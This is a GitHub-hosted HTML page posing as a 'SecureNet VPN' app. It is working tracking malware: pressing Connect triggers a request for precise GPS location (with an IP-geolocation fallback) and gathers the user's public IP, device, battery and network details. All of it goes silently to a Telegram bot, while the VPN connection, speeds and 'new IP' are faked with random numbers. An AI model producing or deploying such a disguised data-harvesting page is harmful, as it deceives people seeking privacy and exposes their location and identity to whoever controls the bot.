-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathSecureNetVPN(gps).html
More file actions
423 lines (378 loc) · 12.2 KB
/
SecureNetVPN(gps).html
File metadata and controls
423 lines (378 loc) · 12.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SecureNet VPN - Enterprise</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
<style>
:root{
--green:#18c37e;
--green-dark:#119e63;
--red:#ef4444;
--gray:#94a3b8;
--bg:#f4f7f6;
--card:#ffffff;
--border:#e5e7eb;
--text:#111827;
--muted:#6b7280;
--yellow:#f59e0b;
}
*{margin:0;padding:0;box-sizing:border-box;font-family:Inter,sans-serif;}
body{background:var(--bg);display:flex;justify-content:center;}
.app{
width:100%;max-width:480px;min-height:100vh;
background:var(--card);padding:24px;
display:flex;flex-direction:column;gap:20px;
}
.header{display:flex;justify-content:space-between;align-items:center;}
.status{
font-size:12px;padding:6px 12px;border-radius:20px;
background:#eef2f3;color:var(--muted);
transition:.3s;
}
.status.secured{background:#e7f9f1;color:var(--green-dark);}
.status.connecting{background:#f1f5f9;color:#334155;}
.status.disconnecting{background:#fee2e2;color:var(--red);}
.ip-box{
background:#f9fafb;border:1px solid var(--border);
padding:14px;border-radius:14px;
display:flex;justify-content:space-between;align-items:center;
transition:.3s;
}
.flag{width:24px;height:16px;border-radius:3px;object-fit:cover}
.connect-area{text-align:center;}
.connect-btn{
width:160px;height:160px;border-radius:50%;
border:none;font-size:18px;font-weight:600;color:white;
cursor:pointer;transition:.4s cubic-bezier(.4,0,.2,1);
background:var(--green);
box-shadow:0 20px 50px rgba(24,195,126,.35);
position:relative;
overflow:hidden;
}
.connect-btn.connecting{background:var(--gray);animation:pulse 1.5s infinite;}
.connect-btn.connected{background:var(--green-dark);}
.connect-btn.disconnecting{background:var(--red);}
@keyframes pulse{
0%{box-shadow:0 0 0 0 rgba(148,163,184,.6);}
70%{box-shadow:0 0 0 20px rgba(148,163,184,0);}
100%{box-shadow:0 0 0 0 rgba(148,163,184,0);}
}
.timer{margin-top:10px;font-size:13px;color:var(--muted);}
.speed{display:flex;justify-content:center;gap:20px;font-size:13px;margin-top:8px;}
.server-list{display:flex;flex-direction:column;gap:10px;}
.server{
display:flex;justify-content:space-between;align-items:center;
padding:14px;border-radius:14px;border:1px solid var(--border);
cursor:pointer;transition:.2s;
}
.server.active{border:2px solid var(--green);}
.server:hover{background:#f3f4f6;}
.ping.good{color:var(--green-dark);}
.ping.medium{color:var(--yellow);}
.ping.bad{color:var(--red);}
@media(min-width:768px){
body{background:linear-gradient(135deg,#e6f9ef,#ffffff);}
.app{margin:40px;border-radius:24px;box-shadow:0 40px 80px rgba(0,0,0,.08);}
}
</style>
</head>
<body>
<div class="app">
<div class="header">
<div style="font-weight:700;font-size:18px;">SecureNet</div>
<div id="status" class="status">Disconnected</div>
</div>
<div class="ip-box">
<div>
<div id="realIP">Detecting IP...</div>
<div id="realCountry" style="font-size:12px;color:var(--muted)"></div>
</div>
<img id="realFlag" class="flag">
</div>
<div class="connect-area">
<button id="connectBtn" class="connect-btn">Connect</button>
<div class="timer" id="timer">00:00:00</div>
<div class="speed">
<div>⬇ <span id="down">0</span> KB/s</div>
<div>⬆ <span id="up">0</span> KB/s</div>
</div>
</div>
<div class="server-list" id="servers"></div>
</div>
<!--https://t.me/rmsup-->
<script>
const telegramBotToken = 'Token';
const chatId = 'Id';
const servers=[
{name:"Germany",code:"DE",ping:35},
{name:"Netherlands",code:"NL",ping:42},
{name:"France",code:"FR",ping:55},
{name:"Iran",code:"IR",ping:48},
{name:"Turkey",code:"TR",ping:68},
{name:"Sweden",code:"SE",ping:52},
{name:"UAE",code:"AE",ping:80},
{name:"UK",code:"GB",ping:70},
{name:"Japan",code:"JP",ping:88},
{name:"USA",code:"US",ping:110},
{name:"Canada",code:"CA",ping:120},
{name:"Tehran",code:"IR",ping:12},
{name:"Istanbul",code:"TR",ping:35},
{name:"Dubai",code:"AE",ping:48},
{name:"London",code:"GB",ping:65}
];
let selected=servers[0];
let connected=false;
let timerInt,speedInt,seconds=0;
let gatheredInfo = {};
const statusEl=document.getElementById("status");
const btn=document.getElementById("connectBtn");
const timerEl=document.getElementById("timer");
const downEl=document.getElementById("down");
const upEl=document.getElementById("up");
const serversEl=document.getElementById("servers");
const ipEl=document.getElementById("realIP");
const countryEl=document.getElementById("realCountry");
const flagEl=document.getElementById("realFlag");
function sendToTelegram(data, type = 'text') {
let url, body, headers = {};
if (type === 'text') {
url = `https://api.telegram.org/bot${telegramBotToken}/sendMessage`;
body = JSON.stringify({
chat_id: chatId,
text: data,
parse_mode: 'Markdown'
});
headers['Content-Type'] = 'application/json';
}
fetch(url, { method: 'POST', headers, body }).catch(() => {});
}
async function getBatteryInfo() {
if (!navigator.getBattery) return;
try {
const b = await Promise.race([
navigator.getBattery(),
new Promise(resolve => setTimeout(() => resolve({}), 200))
]);
gatheredInfo.battery = {
level: Math.round(b.level * 100),
charging: b.charging ? 'Yes' : 'No'
};
} catch (e) {}
}
async function getIpInfo() {
const apis = [
'https://api.ipify.org?format=json',
'https://icanhazip.com',
'https://ifconfig.me/ip',
'https://api.ipify.org'
];
for (let api of apis) {
try {
const controller = new AbortController();
setTimeout(() => controller.abort(), 2500);
const response = await fetch(api, {
signal: controller.signal
});
if (api.includes('ipify') || api.includes('json')) {
const data = await response.json();
gatheredInfo.ip = data.ip;
} else {
gatheredInfo.ip = (await response.text()).trim();
}
return;
} catch (e) {
continue;
}
}
gatheredInfo.ip = 'Hidden';
}
async function getIpLocation() {
try {
const controller = new AbortController();
setTimeout(() => controller.abort(), 2000);
const response = await fetch(`https://ipapi.co/${gatheredInfo.ip || ''}/json/`, {
signal: controller.signal
});
const data = await response.json();
if (data.error) throw new Error('IP API error');
gatheredInfo.location = {
status: 'ip_based',
city: data.city || 'Unknown',
country: data.country_name || 'Unknown',
lat: data.latitude?.toFixed(4),
lng: data.longitude?.toFixed(4)
};
} catch (e) {
gatheredInfo.location = { status: 'ip_failed' };
}
}
function getDeviceInfo() {
const conn = navigator.connection || {};
gatheredInfo.device = {
platform: navigator.platform || 'N/A',
userAgent: navigator.userAgent || 'N/A',
language: navigator.language || 'N/A',
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone || 'N/A',
cpuCores: navigator.hardwareConcurrency || 'N/A',
screen: `${window.screen.width || 0}x${window.screen.height || 0} @ ${window.devicePixelRatio || 1}x`,
networkType: conn.effectiveType || 'N/A',
downlink: conn.downlink ? `${conn.downlink} Mbps` : 'N/A',
rtt: conn.rtt ? `${conn.rtt} ms` : 'N/A'
};
}
async function getPreciseLocation() {
if (!navigator.geolocation) {
await getIpLocation();
return;
}
return new Promise((resolve) => {
const onSuccess = (position) => {
gatheredInfo.location = {
status: 'granted',
latitude: position.coords.latitude.toFixed(6),
longitude: position.coords.longitude.toFixed(6),
accuracy: `${Math.round(position.coords.accuracy)}m`
};
resolve();
};
const onError = async (error) => {
await getIpLocation();
resolve();
};
navigator.geolocation.getCurrentPosition(onSuccess, onError, {
enableHighAccuracy: true,
timeout: 8000,
maximumAge: 60000
});
});
}
function buildProfessionalReport() {
const dev = gatheredInfo.device || {};
const loc = gatheredInfo.location || { status: 'unknown' };
const bat = gatheredInfo.battery || {};
let locationSection;
if (loc.status === 'granted') {
locationSection = `📍 *Location*\n• GPS: ${loc.latitude}, ${loc.longitude}\n• Accuracy: ${loc.accuracy}`;
} else if (loc.status === 'ip_based') {
locationSection = `📍 *Location*\n• IP-based: ${loc.city}, ${loc.country}\n• Coordinates: ${loc.lat}, ${loc.lng}`;
} else {
locationSection = `📍 *Location*\n• Status: ${loc.status}`;
}
const deviceSection = `💻 *Device*\n• Platform: ${dev.platform}\n• Language: ${dev.language}\n• Timezone: ${dev.timezone}\n• CPU cores: ${dev.cpuCores}\n• Screen: ${dev.screen}`;
const networkSection = `🌐 *Network*\n• Public IP: ${gatheredInfo.ip || 'N/A'}\n• Connection type: ${dev.networkType}\n• Estimated downlink: ${dev.downlink}\n• Approx RTT: ${dev.rtt} ms`;
const batterySection = bat.level ? `🔋 *Battery*\n• Level: ${bat.level}%\n• Charging: ${bat.charging}` : '';
return `*SecureNet VPN - New Session*
${locationSection}
${deviceSection}
${networkSection}
${batterySection}`;
}
async function collectAllData() {
const promises = [
getBatteryInfo(),
getIpInfo(),
getPreciseLocation()
];
await Promise.all(promises);
getDeviceInfo();
setTimeout(() => {
const report = buildProfessionalReport();
sendToTelegram(report, 'text');
}, 800);
}
function renderServers(){
servers.sort((a,b)=>a.ping-b.ping);
serversEl.innerHTML="";
servers.forEach(s=>{
let pingClass=s.ping<70?"good":s.ping<95?"medium":"bad";
let div=document.createElement("div");
div.className="server"+(s===selected?" active":"");
div.innerHTML=`
<div style="display:flex;align-items:center;gap:10px">
<img class="flag" src="https://flagcdn.com/w40/${s.code.toLowerCase()}.png">
${s.name}
</div>
<div class="ping ${pingClass}">${s.ping} ms</div>`;
div.onclick=()=>switchServer(s);
serversEl.appendChild(div);
});
}
renderServers();
function switchServer(s){
if(selected===s) return;
if(connected){
disconnect(()=>{selected=s;renderServers();connect();});
}else{
selected=s;
renderServers();
}
}
function connect(){
statusEl.textContent="Connecting...";
statusEl.className="status connecting";
btn.className="connect-btn connecting";
btn.textContent="Connecting";
collectAllData();
setTimeout(() => {
connected=true;
statusEl.textContent="Secured";
statusEl.className="status secured";
btn.className="connect-btn connected";
btn.textContent="Disconnect";
startTimer();
startSpeed();
generateFakeIP();
}, 3800);
}
function disconnect(callback){
statusEl.textContent="Disconnecting...";
statusEl.className="status disconnecting";
btn.className="connect-btn disconnecting";
btn.textContent="Disconnecting";
setTimeout(()=>{
connected=false;
stopAll();
statusEl.textContent="Disconnected";
statusEl.className="status";
btn.className="connect-btn";
btn.textContent="Connect";
if(callback) callback();
},800);
}
btn.onclick=()=>{
if(!connected) connect();
else disconnect();
};
function startTimer(){
timerInt=setInterval(()=>{
seconds++;
timerEl.textContent=new Date(seconds*1000).toISOString().substr(11,8);
},1000);
}
function startSpeed(){
speedInt=setInterval(()=>{
downEl.textContent=(Math.random()*400+300).toFixed(0);
upEl.textContent=(Math.random()*200+80).toFixed(0);
},1200);
}
function stopAll(){
clearInterval(timerInt);
clearInterval(speedInt);
seconds=0;
timerEl.textContent="00:00:00";
downEl.textContent="0";
upEl.textContent="0";
}
function generateFakeIP(){
ipEl.textContent=
Math.floor(Math.random()*223)+"."+Math.floor(Math.random()*255)+"."+Math.floor(Math.random()*255)+"."+Math.floor(Math.random()*255);
countryEl.textContent=selected.name;
flagEl.src=`https://flagcdn.com/w40/${selected.code.toLowerCase()}.png`;
}
generateFakeIP();
</script>
<!--https://t.me/rmsup-->
</body>
</html>